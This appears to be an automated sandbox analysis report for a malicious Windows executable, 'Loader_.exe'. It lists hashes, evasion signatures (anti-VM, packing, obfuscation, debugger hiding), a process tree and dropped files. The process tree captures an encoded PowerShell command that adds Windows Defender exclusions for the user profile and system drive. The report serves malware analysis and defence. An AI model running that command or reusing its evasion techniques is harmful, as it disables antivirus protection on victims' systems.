Analysis

  • max time kernel
    40s
  • max time network
    37s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/07/2023, 22:34

General

  • Target

    Loader_.exe

  • Size

    21.0MB

  • MD5

    5c68101e796d08e0f5a0c9f5bc78cc80

  • SHA1

    d0c59230ffec87ae971b0cd1e8a3a5dc0628bb03

  • SHA256

    b76df2a2fde219ca92c9a881fb7909392f65cea18e63f6402d991da8db4eabec

  • SHA512

    e8bb3e3389c3f149fa34533667e5d86902521037d3b9a8d5bf95598be96f78365777ca76d614bbdc9361b35b9006b2b093a4a2f678064e093a5fbdfb3d2e917a

  • SSDEEP

    393216:6wPBZ5c2iENnfa5v3InT8OSmJ8pzV24UwwSXSDvRIrFoXYj4aUWHe+QLIrssSCwQ:6uP3isnfa5f/mKZimkqrFoFaU3Ipxr

Malware Config

Signatures

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Obfuscated with Agile.Net obfuscator 3 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Loader_.exe
    "C:\Users\Admin\AppData\Local\Temp\Loader_.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of WriteProcessMemory
    PID:4572
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAZQB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHcAYwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGwAeQBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHcAdwB6ACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3480
    • C:\Users\Admin\compiled.exe
      "C:\Users\Admin\compiled.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3712
      • C:\Users\Admin\AppData\Local\Temp\compiled_40deecec-88bd-4a31-9e32-aec385e55c81\OMM Loader.exe
        "C:\Users\Admin\AppData\Local\Temp\compiled_40deecec-88bd-4a31-9e32-aec385e55c81\OMM Loader.exe"
        3⤵
        • Executes dropped EXE
        PID:3776

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dptq0vn2.aza.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\compiled_40deecec-88bd-4a31-9e32-aec385e55c81\OMM Loader.exe

          Filesize

          144KB

          MD5

          4b07d4daa90e051ca065e497c8d21346

          SHA1

          248cce5809f7dbde17402ecb36bced1b071f9972

          SHA256

          70795c1cda206491cafa049ad16bb7def36c08462e9133e7cea2ed55f1e61848

          SHA512

          0c765fd2d67fe215942b838acd27f23298645eed56acc73dce75f721501f5fa8b89e37a3303b6ce2a6a1f111885e8d28a280cfb985d1b6521698a7bb77622545

        • C:\Users\Admin\AppData\Local\Temp\compiled_40deecec-88bd-4a31-9e32-aec385e55c81\OMM Loader.exe

          Filesize

          144KB

          MD5

          4b07d4daa90e051ca065e497c8d21346

          SHA1

          248cce5809f7dbde17402ecb36bced1b071f9972

          SHA256

          70795c1cda206491cafa049ad16bb7def36c08462e9133e7cea2ed55f1e61848

          SHA512

          0c765fd2d67fe215942b838acd27f23298645eed56acc73dce75f721501f5fa8b89e37a3303b6ce2a6a1f111885e8d28a280cfb985d1b6521698a7bb77622545

        • C:\Users\Admin\compiled.exe

          Filesize

          29.4MB

          MD5

          b763ec0b17dcf0adc1416a900c4551ac

          SHA1

          7216be700ac4a361aee8c43823c59b018c2ef6c3

          SHA256

          e30044b9f89eff356277d505a71b007a5a16a2d8b7db7505d46398fb2beef00a

          SHA512

          386be6e0f9268e8723415b27af2d088fec37bf13519d974d97a2367d0e2a1dc22fb0853a788f02ebc931b322cb1a28333fea91759cc0ea35144d3d94e2e91a75

        • C:\Users\Admin\compiled.exe

          Filesize

          29.4MB

          MD5

          b763ec0b17dcf0adc1416a900c4551ac

          SHA1

          7216be700ac4a361aee8c43823c59b018c2ef6c3

          SHA256

          e30044b9f89eff356277d505a71b007a5a16a2d8b7db7505d46398fb2beef00a

          SHA512

          386be6e0f9268e8723415b27af2d088fec37bf13519d974d97a2367d0e2a1dc22fb0853a788f02ebc931b322cb1a28333fea91759cc0ea35144d3d94e2e91a75

        • C:\Users\Admin\compiled.exe

          Filesize

          29.4MB

          MD5

          b763ec0b17dcf0adc1416a900c4551ac

          SHA1

          7216be700ac4a361aee8c43823c59b018c2ef6c3

          SHA256

          e30044b9f89eff356277d505a71b007a5a16a2d8b7db7505d46398fb2beef00a

          SHA512

          386be6e0f9268e8723415b27af2d088fec37bf13519d974d97a2367d0e2a1dc22fb0853a788f02ebc931b322cb1a28333fea91759cc0ea35144d3d94e2e91a75

        • memory/3480-303-0x0000000006FB0000-0x0000000006FBA000-memory.dmp

          Filesize

          40KB

        • memory/3480-304-0x00000000071D0000-0x0000000007266000-memory.dmp

          Filesize

          600KB

        • memory/3480-141-0x0000000004D90000-0x00000000053B8000-memory.dmp

          Filesize

          6.2MB

        • memory/3480-313-0x0000000073F50000-0x0000000074700000-memory.dmp

          Filesize

          7.7MB

        • memory/3480-140-0x0000000002700000-0x0000000002710000-memory.dmp

          Filesize

          64KB

        • memory/3480-137-0x0000000073F50000-0x0000000074700000-memory.dmp

          Filesize

          7.7MB

        • memory/3480-170-0x0000000004D50000-0x0000000004D72000-memory.dmp

          Filesize

          136KB

        • memory/3480-310-0x0000000002700000-0x0000000002710000-memory.dmp

          Filesize

          64KB

        • memory/3480-180-0x0000000005530000-0x0000000005596000-memory.dmp

          Filesize

          408KB

        • memory/3480-309-0x00000000071C0000-0x00000000071C8000-memory.dmp

          Filesize

          32KB

        • memory/3480-308-0x0000000007270000-0x000000000728A000-memory.dmp

          Filesize

          104KB

        • memory/3480-185-0x0000000005710000-0x0000000005776000-memory.dmp

          Filesize

          408KB

        • memory/3480-307-0x0000000002700000-0x0000000002710000-memory.dmp

          Filesize

          64KB

        • memory/3480-136-0x0000000002630000-0x0000000002666000-memory.dmp

          Filesize

          216KB

        • memory/3480-306-0x0000000007180000-0x000000000718E000-memory.dmp

          Filesize

          56KB

        • memory/3480-305-0x0000000073F50000-0x0000000074700000-memory.dmp

          Filesize

          7.7MB

        • memory/3480-138-0x0000000002700000-0x0000000002710000-memory.dmp

          Filesize

          64KB

        • memory/3480-287-0x0000000005C30000-0x0000000005C4E000-memory.dmp

          Filesize

          120KB

        • memory/3480-288-0x0000000002700000-0x0000000002710000-memory.dmp

          Filesize

          64KB

        • memory/3480-289-0x0000000006200000-0x0000000006232000-memory.dmp

          Filesize

          200KB

        • memory/3480-290-0x00000000753D0000-0x000000007541C000-memory.dmp

          Filesize

          304KB

        • memory/3480-300-0x00000000061E0000-0x00000000061FE000-memory.dmp

          Filesize

          120KB

        • memory/3480-301-0x0000000007580000-0x0000000007BFA000-memory.dmp

          Filesize

          6.5MB

        • memory/3480-302-0x0000000006F40000-0x0000000006F5A000-memory.dmp

          Filesize

          104KB

        • memory/3712-173-0x0000000073F50000-0x0000000074700000-memory.dmp

          Filesize

          7.7MB

        • memory/3712-187-0x00000000057B0000-0x0000000005D54000-memory.dmp

          Filesize

          5.6MB

        • memory/3712-186-0x00000000051F0000-0x0000000005200000-memory.dmp

          Filesize

          64KB

        • memory/3712-174-0x0000000000890000-0x00000000008DA000-memory.dmp

          Filesize

          296KB

        • memory/3712-314-0x0000000073F50000-0x0000000074700000-memory.dmp

          Filesize

          7.7MB

        • memory/3712-315-0x00000000051F0000-0x0000000005200000-memory.dmp

          Filesize

          64KB

        • memory/3712-412-0x0000000073F50000-0x0000000074700000-memory.dmp

          Filesize

          7.7MB

        • memory/4572-133-0x0000000000400000-0x0000000002772000-memory.dmp

          Filesize

          35.4MB

        • memory/4572-134-0x0000000077D44000-0x0000000077D46000-memory.dmp

          Filesize

          8KB

        • memory/4572-135-0x0000000000400000-0x0000000002772000-memory.dmp

          Filesize

          35.4MB

        • memory/4572-172-0x0000000000400000-0x0000000002772000-memory.dmp

          Filesize

          35.4MB

        • memory/4572-167-0x0000000000400000-0x0000000002772000-memory.dmp

          Filesize

          35.4MB